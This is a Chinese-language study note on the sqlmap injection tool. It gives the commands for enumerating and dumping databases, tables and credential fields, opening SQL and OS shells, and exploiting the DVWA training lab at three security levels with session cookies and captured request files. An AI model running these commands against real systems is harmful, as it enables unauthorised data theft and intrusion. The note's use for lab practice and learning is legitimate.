基础命令
连招
sqlmap.py -u [url] --dbs //获取所有数据库名
sqlmap.py -u [url] --current-db //当前数据库
sqlmap.py -u [url] --tables -D "bbs" //表
sqlmap.py -u [url] --column -T "[User]" -D "database" //字段
sqlmap.py -u [url] --dump -C "Username,Password,Email" -T "[User]" -D "bbs" //字段值
--data //POST参数
--level //注入等级
注：因为 User 是数据库关键字，所以建议加上 []
进阶命令
--cookie //传入登录的cookie，模拟登录
--batch //使用默认选项
-r //从文件中加载http请求
--sql-shell //系统交互 sql shell
--os-shell //系统交互的shell
* 可以指定注入点的位置，比如这样 ?id=1*&Submit=Submit
表单数据里也是如此修改
DVWA
low
不穿 Cookie 直接使用
后面则显示没有注入参数
带上 Cookie 保持会话状态
python sqlmap.py -u http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit# --cookie "security=low; PHPSESSID=fal0ul03i5cerh3p2gqt1j8665"
但我这里出错了，识别不了 Cookie，可能是本地环境的问题
这里使用 请求文件
将 burp 抓取到的包保存在 a.txt 文件内，以 -r 参数解析
python sqlmap.py -r a.txt --current-db --batch
可以看到，这里检测出 id 注入点，并给出了 四种注入方式和 payload
最后给出了 web 容器，语言，数据库等信息
接着可以按照基础连招一套打下来，==》
python sqlmap.py -r a.txt --dump -C "user,password" -T "users" -D "dvwa"
//密码有哈希，在sqlmap里选择破解参数即可
使用返回式SQL交互shell
python sqlmap.py -r a.txt --sql-shell
成功使用
但这里在用 show tables 时遇到了问题
不过用 shema 也可以查出来表
系统shell
估计是要进行上马等的操作，本地未成功
meduim
抓包可以看到 请求方式变成了 POST
可以是用 --data 指定post参数，但这里仍采用 -r 表单解析
修改--》 id=*2&Submit=Submit
python sqlmap.py -r a.txt --sql-shell
操作同上
high
这里输入是弹窗输入，且和返回点不在同一页面
原窗口为 get， 弹窗为 post
点开 Click ，挑战到页面，未抓到数据，是前端跳转
点击 Submit ，抓到提交数据
python sqlmap.py -r a.txt --second-u http://localhost/dvwa/vulnerabilities/sqli/ --sql-shell
这里要注意 url 一定要正确， 加上 http:// , 注意回显的 url
Issue
为什么跳转页面B输入数据后显示数据在页面A,且在 sqlmap中必须使用 url A
B提交查询数据， A获得返回值？
？？？
